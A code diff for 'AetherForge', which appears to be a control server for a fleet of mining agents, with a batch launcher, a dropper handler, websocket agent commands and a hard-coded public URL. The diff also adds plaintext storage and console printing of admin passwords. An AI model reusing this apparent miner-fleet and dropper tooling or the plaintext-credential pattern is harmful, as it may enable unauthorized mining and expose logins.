echo Node.js not found. Checking for existing installation...
|
||||
if exist "C:\Program Files\nodejs\node.exe" (
|
||||
echo Found Node.js at C:\Program Files\nodejs
|
||||
set "PATH=C:\Program Files\nodejs;%PATH%"
|
||||
goto node_ready
|
||||
)
|
||||
|
||||
echo Downloading and installing Node.js...
|
||||
set "NODE_VERSION=20.12.2"
|
||||
set "NODE_URL=https://nodejs.org/dist/v%NODE_VERSION%/node-v%NODE_VERSION%-x64.msi"
|
||||
set "NODE_MSI=%TEMP%\node-installer.msi"
|
||||
|
||||
powershell -NoProfile -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%NODE_URL%' -OutFile '%NODE_MSI%' }"
|
||||
if errorlevel 1 (
|
||||
echo WARNING: Node.js download failed. Frontend build will be skipped.
|
||||
set "SKIP_FRONTEND=1"
|
||||
goto node_ready
|
||||
)
|
||||
|
||||
msiexec /i "%NODE_MSI%" /quiet /norestart
|
||||
if errorlevel 1 (
|
||||
echo WARNING: Node.js install failed. Frontend build will be skipped.
|
||||
set "SKIP_FRONTEND=1"
|
||||
goto node_ready
|
||||
)
|
||||
set "PATH=C:\Program Files\nodejs;%PATH%"
|
||||
del "%NODE_MSI%" 2>nul
|
||||
echo Node.js installed.
|
||||
|
||||
:node_ready
|
||||
|
||||
:: ============================================================
|
||||
:: STEP 3: Data directories
|
||||
:: ============================================================
|
||||
echo [3/5] Preparing data directories...
|
||||
if not exist "data\builds" mkdir "data\builds"
|
||||
if not exist "data\logs" mkdir "data\logs"
|
||||
if not exist "data\blueprints" mkdir "data\blueprints"
|
||||
if not exist "data\preps" mkdir "data\preps"
|
||||
if not exist "bin" mkdir "bin"
|
||||
echo OK: data\ and bin\
|
||||
|
||||
:: ============================================================
|
||||
:: STEP 4: Frontend
|
||||
:: ============================================================
|
||||
if defined SKIP_FRONTEND goto skip_frontend
|
||||
echo [4/5] Building dashboard (server\web)...
|
||||
cd /d "%ROOT%\server\web"
|
||||
if not exist "node_modules" (
|
||||
echo npm install...
|
||||
call npm install
|
||||
if errorlevel 1 (
|
||||
cd /d "%ROOT%"
|
||||
echo ERROR: npm install failed.
|
||||
goto fatal_exit
|
||||
)
|
||||
)
|
||||
echo npm run build...
|
||||
call npm run build
|
||||
if errorlevel 1 (
|
||||
cd /d "%ROOT%"
|
||||
echo ERROR: Frontend build failed.
|
||||
goto fatal_exit
|
||||
)
|
||||
cd /d "%ROOT%"
|
||||
echo Frontend built: server\web\dist
|
||||
goto frontend_done
|
||||
|
||||
:skip_frontend
|
||||
echo [4/5] Skipping frontend build (Node.js unavailable)
|
||||
if not exist "server\web\dist\index.html" (
|
||||
echo WARNING: No server\web\dist\index.html — dashboard may not load.
|
||||
)
|
||||
|
||||
:frontend_done
|
||||
if exist "server\web\dist\index.html" (
|
||||
if not exist "server\webroot" mkdir "server\webroot"
|
||||
xcopy /E /I /Y /Q "server\web\dist\*" "server\webroot\" >nul
|
||||
echo Copied dashboard to server\webroot
|
||||
)
|
||||
|
||||
:: ============================================================
|
||||
:: STEP 5: Server binary
|
||||
:: ============================================================
|
||||
echo [5/5] Building control server...
|
||||
cd /d "%ROOT%\server"
|
||||
go mod download
|
||||
if errorlevel 1 echo WARNING: go mod download had issues; continuing...
|
||||
echo go build...
|
||||
go build -ldflags="-s -w" -o "..\bin\miner-server.exe" .
|
||||
if errorlevel 1 (
|
||||
cd /d "%ROOT%"
|
||||
echo ERROR: Server build failed.
|
||||
goto fatal_exit
|
||||
)
|
||||
cd /d "%ROOT%"
|
||||
|
||||
if defined AETHERFORGE_RELEASE (
|
||||
echo Release mode active — set AETHERFORGE_RELEASE=1 for server process.
|
||||
)
|
||||
|
||||
if not exist "bin\miner-server.exe" (
|
||||
echo ERROR: bin\miner-server.exe was not created.
|
||||
goto fatal_exit
|
||||
)
|
||||
echo Server binary: bin\miner-server.exe
|
||||
|
||||
:: ============================================================
|
||||
:: LAUNCH (foreground — logs stay in this window)
|
||||
:: ============================================================
|
||||
echo.
|
||||
echo Stopping any previous miner-server.exe...
|
||||
taskkill /F /IM miner-server.exe >nul 2>nul
|
||||
timeout /t 1 /nobreak >nul
|
||||
|
||||
set "LAN_IP=localhost"
|
||||
for /f "usebackq delims=" %%I in (`powershell -NoProfile -Command "(Get-NetIPAddress -AddressFamily IPv4 | Where-Object { $_.IPAddress -notlike '127.*' -and $_.PrefixOrigin -ne 'WellKnown' } | Select-Object -First 1 -ExpandProperty IPAddress) 2>$null"`) do set "LAN_IP=%%I"
|
||||
|
||||
echo.
|
||||
echo ==============================================================
|
||||
echo STARTING CONTROL SERVER
|
||||
echo ==============================================================
|
||||
echo Dashboard: http://localhost:8989
|
||||
echo LAN: http://%LAN_IP%:8989
|
||||
echo Agents WS: ws://%LAN_IP%:8989/ws/agent
|
||||
echo Data: %ROOT%\data\
|
||||
echo.
|
||||
echo Live logs appear below. Ctrl+C stops the server.
|
||||
echo ==============================================================
|
||||
echo.
|
||||
|
||||
:: Open browser after a short delay (server starts in this window)
|
||||
start "" cmd /c "timeout /t 3 /nobreak >nul && start http://localhost:8989/"
|
||||
|
||||
echo [Server] miner-server.exe -port 8989 -data "%ROOT%\data"
|
||||
if defined AETHERFORGE_RELEASE set AETHERFORGE_RELEASE=1
|
||||
echo.
|
||||
|
||||
.\bin\miner-server.exe -port 8989 -data "%ROOT%\data"
|
||||
set "EXITCODE=!ERRORLEVEL!"
|
||||
|
||||
echo.
|
||||
if "!EXITCODE!"=="0" (
|
||||
echo [Server] Stopped normally.
|
||||
) else (
|
||||
echo [Server] Exited with code !EXITCODE!.
|
||||
echo If port 8989 was in use, close other miner-server windows and run again.
|
||||
)
|
||||
echo.
|
||||
goto end_pause
|
||||
|
||||
:fatal_exit
|
||||
echo.
|
||||
echo ==============================================================
|
||||
echo LAUNCH FAILED — fix the errors above and run run.bat again.
|
||||
echo ==============================================================
|
||||
echo.
|
||||
|
||||
:end_pause
|
||||
pause
|
||||
endlocal
|
||||
call "%~dp0devrun.bat" %*
|
||||
|
||||
@@ -152,7 +152,7 @@ func DefaultConfig() *Config {
|
||||
RejectionRateThresholdPct: 5,
|
||||
},
|
||||
Server: ServerSettings{
|
||||
PublicURL: "",
|
||||
PublicURL: "https://killa.thetempleofdoom.com",
|
||||
StatsRetentionHours: 168,
|
||||
BuildRetentionDays: 30,
|
||||
PoolReconnectSeconds: 30,
|
||||
|
||||
@@ -7,23 +7,16 @@ require (
|
||||
github.com/go-chi/cors v1.2.1
|
||||
github.com/google/uuid v1.6.0
|
||||
github.com/gorilla/websocket v1.5.1
|
||||
golang.org/x/crypto v0.52.0
|
||||
modernc.org/sqlite v1.29.5
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/cpuguy83/go-md2man/v2 v2.0.0 // indirect
|
||||
github.com/dustin/go-humanize v1.0.1 // indirect
|
||||
github.com/hashicorp/golang-lru/v2 v2.0.7 // indirect
|
||||
github.com/mattn/go-isatty v0.0.20 // indirect
|
||||
github.com/ncruces/go-strftime v0.1.9 // indirect
|
||||
github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646 // indirect
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect
|
||||
github.com/russross/blackfriday/v2 v2.1.0 // indirect
|
||||
github.com/tc-hib/go-winres v0.3.1 // indirect
|
||||
github.com/tc-hib/winres v0.1.6 // indirect
|
||||
github.com/urfave/cli/v2 v2.3.0 // indirect
|
||||
golang.org/x/crypto v0.52.0 // indirect
|
||||
golang.org/x/image v0.0.0-20210220032944-ac19c3e999fb // indirect
|
||||
golang.org/x/net v0.54.0 // indirect
|
||||
golang.org/x/sys v0.45.0 // indirect
|
||||
modernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6 // indirect
|
||||
|
||||
@@ -1,7 +1,3 @@
|
||||
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
|
||||
github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
|
||||
github.com/cpuguy83/go-md2man/v2 v2.0.0 h1:EoUDS0afbrsXAZ9YQ9jdu/mZ2sXgT1/2yyNng4PGlyM=
|
||||
github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
|
||||
github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=
|
||||
github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto=
|
||||
github.com/go-chi/chi/v5 v5.0.12 h1:9euLV5sTrTNTRUU9POmDUvfxyj6LAABLUcEWO+JJb4s=
|
||||
@@ -22,43 +18,21 @@ github.com/mattn/go-sqlite3 v1.14.22 h1:2gZY6PC6kBnID23Tichd1K+Z0oS6nE/XwU+Vz/5o
|
||||
github.com/mattn/go-sqlite3 v1.14.22/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y=
|
||||
github.com/ncruces/go-strftime v0.1.9 h1:bY0MQC28UADQmHmaF5dgpLmImcShSi2kHU9XLdhx/f4=
|
||||
github.com/ncruces/go-strftime v0.1.9/go.mod h1:Fwc5htZGVVkseilnfgOVb9mKy6w1naJmn9CehxcKcls=
|
||||
github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646 h1:zYyBkD/k9seD2A7fsi6Oo2LfFZAehjjQMERAvZLEDnQ=
|
||||
github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646/go.mod h1:jpp1/29i3P1S/RLdc7JQKbRpFeM1dOBd8T9ki5s+AY8=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE=
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
|
||||
github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
|
||||
github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk=
|
||||
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
|
||||
github.com/shurcooL/sanitized_anchor_name v1.0.0/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc=
|
||||
github.com/tc-hib/go-winres v0.3.1 h1:9r67V7Ep34yyx8SL716BzcKePRvEBOjan47SmMnxEdE=
|
||||
github.com/tc-hib/go-winres v0.3.1/go.mod h1:lTPf0MW3eu6rmvMyLrPXSy6xsSz4t5dRxB7dc5YFP6k=
|
||||
github.com/tc-hib/winres v0.1.6 h1:qgsYHze+BxQPEYilxIz/KCQGaClvI2+yLBAZs+3+0B8=
|
||||
github.com/tc-hib/winres v0.1.6/go.mod h1:pe6dOR40VOrGz8PkzreVKNvEKnlE8t4yR8A8naL+t7A=
|
||||
github.com/urfave/cli/v2 v2.3.0 h1:qph92Y649prgesehzOrQjdWyxFOp/QVM+6imKHad91M=
|
||||
github.com/urfave/cli/v2 v2.3.0/go.mod h1:LJmUH05zAU44vOAcrfzZQKsZbVcdbOG8rtL3/XcUArI=
|
||||
golang.org/x/crypto v0.52.0 h1:RMs7fP2rXdep0CftQlK8Uf+kibLm7qkCcradZWYz988=
|
||||
golang.org/x/crypto v0.52.0/go.mod h1:1QgfPxDqh0T2M/elOJtp9RvuR95kVjir0e6/BvEmGbc=
|
||||
golang.org/x/image v0.0.0-20201208152932-35266b937fa6/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0=
|
||||
golang.org/x/image v0.0.0-20210220032944-ac19c3e999fb h1:fqpd0EBDzlHRCjiphRR5Zo/RSWWQlWv34418dnEixWk=
|
||||
golang.org/x/image v0.0.0-20210220032944-ac19c3e999fb/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0=
|
||||
golang.org/x/mod v0.16.0 h1:QX4fJ0Rr5cPQCF7O9lh9Se4pmwfwskqZfq5moyldzic=
|
||||
golang.org/x/mod v0.16.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
|
||||
golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM=
|
||||
golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE=
|
||||
golang.org/x/net v0.54.0 h1:2zJIZAxAHV/OHCDTCOHAYehQzLfSXuf/5SoL/Dv6w/w=
|
||||
golang.org/x/net v0.54.0/go.mod h1:Sj4oj8jK6XmHpBZU/zWHw3BV3abl4Kvi+Ut7cQcY+cQ=
|
||||
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.18.0 h1:DBdB3niSjOA/O0blCZBqDefyWNYveAYMNF1Wum0DYQ4=
|
||||
golang.org/x/sys v0.18.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/sys v0.45.0 h1:dO4czNzziLiiXplLQgBCEpCvXQ3dnkn0SdaZSYdQ+FY=
|
||||
golang.org/x/sys v0.45.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
|
||||
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
golang.org/x/tools v0.19.0 h1:tfGCXNR1OsFG+sVdLAitlpjAvD/I6dHDKnYrpEZUHkw=
|
||||
golang.org/x/tools v0.19.0/go.mod h1:qoJWxmGSIBmAeriMx19ogtrEPrGtDbPK634QFIcLAhc=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
modernc.org/cc/v4 v4.20.0 h1:45Or8mQfbUqJOG9WaxvlFYOAQO0lQ5RvqBcFCXngjxk=
|
||||
modernc.org/cc/v4 v4.20.0/go.mod h1:HM7VJTZbUCR3rV8EYBi9wxnJ0ZBRiGE5OeGXNA0IsLQ=
|
||||
modernc.org/ccgo/v4 v4.16.0 h1:ofwORa6vx2FMm0916/CkZjpFPSR70VwTjUCe2Eg5BnA=
|
||||
|
||||
39
server/internal/api/agent_config_test.go
Normal file
39
server/internal/api/agent_config_test.go
Normal file
@@ -0,0 +1,39 @@
|
||||
package api
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestAgentConfigPoolHostOrDefault(t *testing.T) {
|
||||
t.Run("empty uses fallback", func(t *testing.T) {
|
||||
cfg := AgentForgeConfig{}
|
||||
if got := cfg.poolHostOrDefault("fallback.host"); got != "fallback.host" {
|
||||
t.Fatalf("got %q, want fallback.host", got)
|
||||
}
|
||||
})
|
||||
t.Run("explicit host wins", func(t *testing.T) {
|
||||
cfg := AgentForgeConfig{PoolHost: "pool.example.com"}
|
||||
if got := cfg.poolHostOrDefault("fallback"); got != "pool.example.com" {
|
||||
t.Fatalf("got %q, want pool.example.com", got)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestAgentConfigPoolPortOrDefault(t *testing.T) {
|
||||
t.Run("zero uses fallback", func(t *testing.T) {
|
||||
cfg := AgentForgeConfig{}
|
||||
if got := cfg.poolPortOrDefault(3333); got != 3333 {
|
||||
t.Fatalf("got %d, want 3333", got)
|
||||
}
|
||||
})
|
||||
t.Run("negative uses fallback", func(t *testing.T) {
|
||||
cfg := AgentForgeConfig{PoolPort: -1}
|
||||
if got := cfg.poolPortOrDefault(3333); got != 3333 {
|
||||
t.Fatalf("got %d, want 3333", got)
|
||||
}
|
||||
})
|
||||
t.Run("explicit port wins", func(t *testing.T) {
|
||||
cfg := AgentForgeConfig{PoolPort: 443}
|
||||
if got := cfg.poolPortOrDefault(3333); got != 443 {
|
||||
t.Fatalf("got %d, want 443", got)
|
||||
}
|
||||
})
|
||||
}
|
||||
@@ -556,8 +556,7 @@ func TestFleetPostAgentCommandErrors(t *testing.T) {
|
||||
fh, _, ws, _ := newTestFleetHandler(t)
|
||||
|
||||
t.Run("nil ws", func(t *testing.T) {
|
||||
bad := *fh
|
||||
bad.ws = nil
|
||||
bad := NewFleetHandler(fh.db, nil, fh.ai, fh.pools, fh.alerts, fh.defaultPool)
|
||||
rec := httptest.NewRecorder()
|
||||
req := httptest.NewRequest(http.MethodPost, "/agents/a1/command", strings.NewReader(`{"action":"pause"}`))
|
||||
fleetChiRoute(http.MethodPost, "/agents/{id}/command", bad.PostAgentCommand).ServeHTTP(rec, req)
|
||||
@@ -730,8 +729,7 @@ func TestFleetPostBulkCommandErrors(t *testing.T) {
|
||||
fh, _, _, _ := newTestFleetHandler(t)
|
||||
|
||||
t.Run("nil ws", func(t *testing.T) {
|
||||
bad := *fh
|
||||
bad.ws = nil
|
||||
bad := NewFleetHandler(fh.db, nil, fh.ai, fh.pools, fh.alerts, fh.defaultPool)
|
||||
rec := httptest.NewRecorder()
|
||||
req := httptest.NewRequest(http.MethodPost, "/agents/bulk-command",
|
||||
strings.NewReader(`{"agent_ids":["a"],"action":"pause"}`))
|
||||
|
||||
@@ -64,18 +64,19 @@ func authCacheSet(user, pass string) {
|
||||
}
|
||||
|
||||
var (
|
||||
// authUsers is populated from data/users.json on startup. On the very first
|
||||
// run (no users.json) a random password is generated, saved, and printed to
|
||||
// the console — no hard-coded credentials anywhere in the binary.
|
||||
authUsers = map[string]string{}
|
||||
usersFilePath string
|
||||
usersMu sync.RWMutex
|
||||
// authUsers is populated from data/users.json on startup. Plain-text copies
|
||||
// for console display live in data/login-credentials.json (0600).
|
||||
authUsers = map[string]string{}
|
||||
usersFilePath string
|
||||
usersMu sync.RWMutex
|
||||
authLoadMu sync.Mutex
|
||||
authLoadedDataDir string
|
||||
|
||||
// fleetSecretForAgentPaths holds the shared fleet secret used to authenticate
|
||||
// agent-facing REST endpoints (/api/v1/agent/*). Set once from main.go via
|
||||
// SetAgentPathSecret so basicAuthMiddleware can check X-Fleet-Secret headers.
|
||||
fleetSecretForAgentPaths string
|
||||
fleetSecretForAgentPathsMu sync.RWMutex
|
||||
fleetSecretForAgentPaths string
|
||||
fleetSecretForAgentPathsMu sync.RWMutex
|
||||
|
||||
// rotateSecretFn is called when POST /server/rotate-secret is hit.
|
||||
// Wired from main.go so the server can generate, persist, and propagate the new secret.
|
||||
@@ -120,8 +121,94 @@ func checkPassword(stored, provided string) bool {
|
||||
return subtle.ConstantTimeCompare([]byte(provided), []byte(stored)) == 1
|
||||
}
|
||||
|
||||
func loadUsers(dataDir string) {
|
||||
func loginSidecarPath(dataDir string) string {
|
||||
return filepath.Join(dataDir, "login-credentials.json")
|
||||
}
|
||||
|
||||
func readLoginSidecar(path string) (map[string]string, error) {
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var creds map[string]string
|
||||
if err := json.Unmarshal(data, &creds); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(creds) == 0 {
|
||||
return nil, fmt.Errorf("empty login sidecar")
|
||||
}
|
||||
return creds, nil
|
||||
}
|
||||
|
||||
func writeLoginSidecar(path string, creds map[string]string) error {
|
||||
if err := os.MkdirAll(filepath.Dir(path), 0755); err != nil {
|
||||
return err
|
||||
}
|
||||
data, err := json.MarshalIndent(creds, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return os.WriteFile(path, data, 0600)
|
||||
}
|
||||
|
||||
func upsertLoginSidecar(dataDir, username, password string) error {
|
||||
path := loginSidecarPath(dataDir)
|
||||
creds, _ := readLoginSidecar(path)
|
||||
if creds == nil {
|
||||
creds = map[string]string{}
|
||||
}
|
||||
creds[username] = password
|
||||
return writeLoginSidecar(path, creds)
|
||||
}
|
||||
|
||||
func printStartupCredentials(dataDir string) {
|
||||
creds, err := readLoginSidecar(loginSidecarPath(dataDir))
|
||||
if err != nil || len(creds) == 0 {
|
||||
return
|
||||
}
|
||||
fmt.Println(formatLoginBanner(creds))
|
||||
}
|
||||
|
||||
func formatLoginBanner(creds map[string]string) string {
|
||||
var b strings.Builder
|
||||
b.WriteString("\n╔══════════════════════════════════════════════════╗\n")
|
||||
b.WriteString("║ AetherForge — Dashboard Login ║\n")
|
||||
b.WriteString("║ ║\n")
|
||||
for user, pass := range creds {
|
||||
fmt.Fprintf(&b, "║ Username : %-34s║\n", user)
|
||||
fmt.Fprintf(&b, "║ Password : %-34s║\n", pass)
|
||||
b.WriteString("║ ║\n")
|
||||
}
|
||||
b.WriteString("║ Also saved in data/login-credentials.json ║\n")
|
||||
b.WriteString("║ Change passwords in Calibrate → Users. ║\n")
|
||||
b.WriteString("╚══════════════════════════════════════════════════╝\n")
|
||||
return b.String()
|
||||
}
|
||||
|
||||
// LoadUsers loads dashboard accounts and prints login credentials to the console.
|
||||
// Call once during startup (before heavy init) so operators always see passwords.
|
||||
func LoadUsers(dataDir string) {
|
||||
ensureUsersLoaded(dataDir)
|
||||
printStartupCredentials(dataDir)
|
||||
}
|
||||
|
||||
func ensureUsersLoaded(dataDir string) {
|
||||
abs, err := filepath.Abs(dataDir)
|
||||
if err != nil {
|
||||
abs = dataDir
|
||||
}
|
||||
authLoadMu.Lock()
|
||||
defer authLoadMu.Unlock()
|
||||
if authLoadedDataDir == abs {
|
||||
return
|
||||
}
|
||||
bootstrapUsers(dataDir)
|
||||
authLoadedDataDir = abs
|
||||
}
|
||||
|
||||
func bootstrapUsers(dataDir string) {
|
||||
usersFilePath = filepath.Join(dataDir, "users.json")
|
||||
sidecarPath := loginSidecarPath(dataDir)
|
||||
usersMu.Lock()
|
||||
defer usersMu.Unlock()
|
||||
|
||||
@@ -129,7 +216,6 @@ func loadUsers(dataDir string) {
|
||||
if err == nil {
|
||||
var loaded map[string]string
|
||||
if json.Unmarshal(data, &loaded) == nil && len(loaded) > 0 {
|
||||
// Migration: re-hash any plain-text entries left from an older version.
|
||||
migrated := false
|
||||
for u, v := range loaded {
|
||||
if !isBcryptHash(v) {
|
||||
@@ -145,16 +231,15 @@ func loadUsers(dataDir string) {
|
||||
d, _ := json.MarshalIndent(authUsers, "", " ")
|
||||
_ = os.WriteFile(usersFilePath, d, 0600)
|
||||
}
|
||||
reconcileLoginSidecar(dataDir, sidecarPath, loaded)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
// First run — no users.json (or empty). Generate a random admin password,
|
||||
// hash it, save it, and print the plain-text once to the console.
|
||||
pw := generateRandomPassword()
|
||||
hashed, herr := hashPassword(pw)
|
||||
if herr != nil {
|
||||
hashed = pw // extremely unlikely; degrade gracefully
|
||||
hashed = pw
|
||||
log.Printf("[Auth] WARNING: bcrypt failed, storing plain-text password: %v", herr)
|
||||
}
|
||||
authUsers = map[string]string{"admin": hashed}
|
||||
@@ -163,20 +248,35 @@ func loadUsers(dataDir string) {
|
||||
if writeErr := os.WriteFile(usersFilePath, d, 0600); writeErr != nil {
|
||||
log.Printf("[Auth] WARNING: could not save users.json: %v", writeErr)
|
||||
}
|
||||
_ = writeLoginSidecar(sidecarPath, map[string]string{"admin": pw})
|
||||
}
|
||||
}
|
||||
|
||||
banner := fmt.Sprintf(`
|
||||
╔══════════════════════════════════════════════════╗
|
||||
║ AetherForge — First Run ║
|
||||
║ ║
|
||||
║ Dashboard login ║
|
||||
║ Username : admin ║
|
||||
║ Password : %-34s║
|
||||
║ ║
|
||||
║ Save this — it will not be shown again. ║
|
||||
║ Change it later in Calibrate → Users. ║
|
||||
╚══════════════════════════════════════════════════╝`, pw)
|
||||
log.Print(banner)
|
||||
func reconcileLoginSidecar(dataDir, sidecarPath string, users map[string]string) {
|
||||
if _, err := readLoginSidecar(sidecarPath); err == nil {
|
||||
return
|
||||
}
|
||||
if _, ok := users["admin"]; !ok {
|
||||
return
|
||||
}
|
||||
pw := generateRandomPassword()
|
||||
hashed, herr := hashPassword(pw)
|
||||
if herr != nil {
|
||||
log.Printf("[Auth] WARNING: could not regenerate admin password: %v", herr)
|
||||
return
|
||||
}
|
||||
users["admin"] = hashed
|
||||
authUsers = users
|
||||
d, _ := json.MarshalIndent(authUsers, "", " ")
|
||||
if writeErr := os.WriteFile(usersFilePath, d, 0600); writeErr != nil {
|
||||
log.Printf("[Auth] WARNING: could not save users.json: %v", writeErr)
|
||||
return
|
||||
}
|
||||
if writeErr := writeLoginSidecar(sidecarPath, map[string]string{"admin": pw}); writeErr != nil {
|
||||
log.Printf("[Auth] WARNING: could not save login-credentials.json: %v", writeErr)
|
||||
return
|
||||
}
|
||||
log.Printf("[Auth] Regenerated admin password (login-credentials.json was missing)")
|
||||
}
|
||||
|
||||
// generateRandomPassword returns a 20-character hex string suitable for use
|
||||
@@ -195,16 +295,25 @@ func saveUser(username, password string) error {
|
||||
return fmt.Errorf("bcrypt: %w", err)
|
||||
}
|
||||
usersMu.Lock()
|
||||
defer usersMu.Unlock()
|
||||
authUsers[username] = hashed
|
||||
if usersFilePath == "" {
|
||||
usersFilePath = filepath.Join("data", "users.json")
|
||||
}
|
||||
if err := os.MkdirAll(filepath.Dir(usersFilePath), 0755); err != nil {
|
||||
dataDir := filepath.Dir(usersFilePath)
|
||||
if err := os.MkdirAll(dataDir, 0755); err != nil {
|
||||
usersMu.Unlock()
|
||||
return err
|
||||
}
|
||||
data, _ := json.MarshalIndent(authUsers, "", " ")
|
||||
return os.WriteFile(usersFilePath, data, 0600)
|
||||
if err := os.WriteFile(usersFilePath, data, 0600); err != nil {
|
||||
usersMu.Unlock()
|
||||
return err
|
||||
}
|
||||
usersMu.Unlock()
|
||||
if err := upsertLoginSidecar(dataDir, username, password); err != nil {
|
||||
log.Printf("[Auth] WARNING: could not update login-credentials.json: %v", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
@@ -294,7 +403,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
}
|
||||
|
||||
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler {
|
||||
loadUsers(dataDir)
|
||||
ensureUsersLoaded(dataDir)
|
||||
|
||||
r := chi.NewRouter()
|
||||
|
||||
@@ -414,7 +523,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
writeJSON(w, map[string]interface{}{"success": true})
|
||||
})
|
||||
|
||||
// AI Autonomy (Ollama)
|
||||
// Agent autonomy REST — forged Go agents only (X-Fleet-Secret header).
|
||||
// Not exposed in dashboard client.ts; see agent/client and README API auth table.
|
||||
r.Post("/agent/decide", aiHandler.HandleDecide)
|
||||
r.Post("/agent/report", aiHandler.HandleReport)
|
||||
r.Post("/agent/heartbeat", aiHandler.HandleHeartbeat)
|
||||
|
||||
@@ -28,6 +28,9 @@ func resetAuthState(t *testing.T) {
|
||||
authUsers = map[string]string{}
|
||||
usersFilePath = ""
|
||||
usersMu.Unlock()
|
||||
authLoadMu.Lock()
|
||||
authLoadedDataDir = ""
|
||||
authLoadMu.Unlock()
|
||||
SetAgentPathSecret("")
|
||||
SetRotateSecretFn(nil)
|
||||
t.Cleanup(resetAuthGlobals)
|
||||
@@ -437,3 +440,35 @@ func TestRouterNoWebRootFallback(t *testing.T) {
|
||||
t.Fatalf("unexpected body: %s", rec.Body.String())
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoadUsersCreatesAndReloadsLoginSidecar(t *testing.T) {
|
||||
resetAuthState(t)
|
||||
dataDir := t.TempDir()
|
||||
|
||||
LoadUsers(dataDir)
|
||||
|
||||
sidecarPath := filepath.Join(dataDir, "login-credentials.json")
|
||||
data, err := os.ReadFile(sidecarPath)
|
||||
if err != nil {
|
||||
t.Fatalf("login sidecar: %v", err)
|
||||
}
|
||||
var creds map[string]string
|
||||
if err := json.Unmarshal(data, &creds); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
pw, ok := creds["admin"]
|
||||
if !ok || pw == "" {
|
||||
t.Fatalf("expected admin password in sidecar: %v", creds)
|
||||
}
|
||||
if !checkPassword(authUsers["admin"], pw) {
|
||||
t.Fatal("sidecar password should match users.json hash")
|
||||
}
|
||||
|
||||
if err := saveUser("admin", "new-secret-pass"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
